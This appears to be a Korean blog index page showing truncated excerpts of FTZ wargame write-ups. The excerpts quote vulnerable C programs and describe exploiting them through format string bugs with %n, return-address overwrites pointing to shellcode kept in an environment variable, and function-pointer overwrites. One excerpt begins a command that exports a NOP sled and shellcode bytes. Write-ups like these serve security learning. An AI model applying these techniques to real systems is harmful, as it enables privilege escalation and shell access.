둘둘리둘둘리둘둘리둘둘리둘둘리둘
#include main(int argc,char **argv){ char bleh[80]; setreuid(3101,3101); fgets(bleh,79,stdin); printf(bleh);} 80byte의 bleh의 공간에 stdin으로 79byte를 입력받아 출력한다. 오버플로우 취약점은 찾을 수 없으니 포맷스트링 버그를 사용해 문제를 풀어야 한다. -포맷스트링 버그란?printf(bleh);처럼 인자 하나만 들어가면서 그 인자를 조작할 수 있을때, 그 인자에 %d,%s등이 들어가면 printf동작시 인자를 포맷 갯수만큼 인식하고 ebp+8(첫번째 인자 자리)에서 부터 4씩 높은주소의 [그림 1]과 같이 값을 출력한다.[그림 1] 여기서 %n을 만나면 다음 인자값이 들어갈 자리가 가진 주소에 여태..
main(){ char buf[20]; gets(buf); printf("%s\n",buf);} 여태까지의 문제와 달리 setreuid를 main에서 호출하지 않는다. 그말은 직접 setreuid를 실행해 준 후 쉘을 실행시켜야 level20의 권한을 얻을 수 있다는 것 이다. 단순하게 생각해서 여태까지 풀어왔던 방법에서 쉘 코드에 setreuid(3100,3100)만 추가해 주고 환경변수에 쉘 코드 등록 후 리턴 주소를 환경변수로 덮어주면 된다. 물론 쉘코드를 짜야하는 번거로움이 있다. --풀이--[level19@ftz tmp]$ export sh=`python -c 'print "\x90"*2000+"\x31\xc0\x89\xc1\x89\xc3\x66\xb9\x1c\x0c\x66\xbb\x1c\x0c..
#include #include #include #include void shellout(void);int main(){ char string[100]; int check; int x = 0; int count = 0; fd_set fds; printf("Enter your command: "); fflush(stdout); while(1) { if(count >= 100) printf("what are you trying to do?\n"); if(check == 0xdeadbeef) shellout(); else { FD_ZERO(&fds); //fdset 초기화 FD_SET(STDIN_FILENO,&fds); //fdset중 stdin에 해당하는 비트를 1로 세트 if(select(FD_SETSIZ..
#include void printit() { printf("Hello there!\n");} main(){ int crap; void (*call)()=printit; char buf[20]; fgets(buf,48,stdin); setreuid(3098,3098); call();} Level16(http://dool2ly.tistory.com/23)과 다른점은 shell을 띄워주는 함수가 없다는것 뿐이다.Level16과 마찬가지로 변수 call의 내용이 printit의 주소가 아니라 쉘 코드의 시작 주소를 넣어주면 되겠다.고맙게도 setreuid가 있으니 쉘 코드는 단순히 shell만 실행시켜주면 된다. Level11(http://dool2ly.tistory.com/18)에서 부터 해왔듯 환경변수 s..
#include void shell() { setreuid(3097,3097); system("/bin/sh");} void printit() { printf("Hello there!\n");} main(){ int crap; void (*call)()=printit; char buf[20]; fgets(buf,48,stdin); call();} shell함수와 printit함수가 정의되어 있고아래와 같이 동작한다.1. 변수 call에 printit함수의 주소값을 넣는다. 2. 크기 20byte인 buf에 stdin으로부터 최대 48byte까지 입력받는다.3. call을 호출한다.call을 호출할때 printit이 아니라 shell이 호출되게 하면 된다. 함수 printit의 주소와 shell의 주소는 ..